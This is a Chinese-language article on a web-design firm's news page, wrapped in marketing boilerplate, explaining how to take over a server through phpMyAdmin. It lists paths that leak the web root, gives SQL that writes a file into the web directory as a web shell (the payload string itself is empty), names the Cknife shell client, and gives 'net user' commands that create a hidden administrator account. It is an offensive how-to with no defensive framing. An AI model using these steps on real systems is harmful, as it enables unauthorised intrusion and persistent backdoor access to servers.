资讯

精准传达 • 有效沟通

从品牌网站建设到网络营销策划,从策略到执行的一站式服务

如何利用phpMyAdmin提权

这篇文章主要介绍了如何利用phpMyAdmin提权,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

10年的革吉网站建设经验,针对设计、前端、开发、售后、文案、推广等六对一服务,响应快,48小时及时工作处理。全网整合营销推广的优势是能够根据用户设备显示端的尺寸不同,自动调整革吉建站的显示方式,使网站能够适用不同显示终端,在浏览器中调整网站的宽度,无论在任何一种浏览器上浏览网站,都能展现优雅布局与设计,从而大程度地提升浏览体验。成都创新互联公司从事“革吉网站设计”,“革吉网站推广”以来,每个客户项目都认真落实执行。

利用phpMyAdmin提权

爆路径

  • /phpmyadmin/libraries/lect_lang.lib.php

  • /phpMyAdmin/index.php?lang[]=1

  • /phpMyAdmin/phpinfo.php

  • /load_file()

  • /phpmyadmin/themes/darkblue_orange/layout.inc.php

  • /phpmyadmin/libraries/select_lang.lib.php

  • /phpmyadmin/libraries/lect_lang.lib.php

  • /phpmyadmin/libraries/mcrypt.lib.php

得到物理路径 C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php

写马

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES("");
select cmd from a into outfile "C:/wamp/www/phpmyadmin/d.php";
Drop TABLE IF EXISTS a;

获得webshell

最后用Cknife连接,创建帐户并添加到管理员用户组
net user admin admin /add
net localgroup administrator admin /add

感谢你能够认真阅读完这篇文章,希望小编分享的“如何利用phpMyAdmin提权”这篇文章对大家有帮助,同时也希望大家多多支持创新互联,关注创新互联行业资讯频道,更多相关知识等着你来学习!


网站名称:如何利用phpMyAdmin提权
分享链接:http://cdkjz.cn/article/jihpci.html
多年建站经验

多一份参考,总有益处

联系快上网,免费获得专属《策划方案》及报价

咨询相关问题或预约面谈,可以通过以下方式与我们联系

大客户专线   成都:13518219792   座机:028-86922220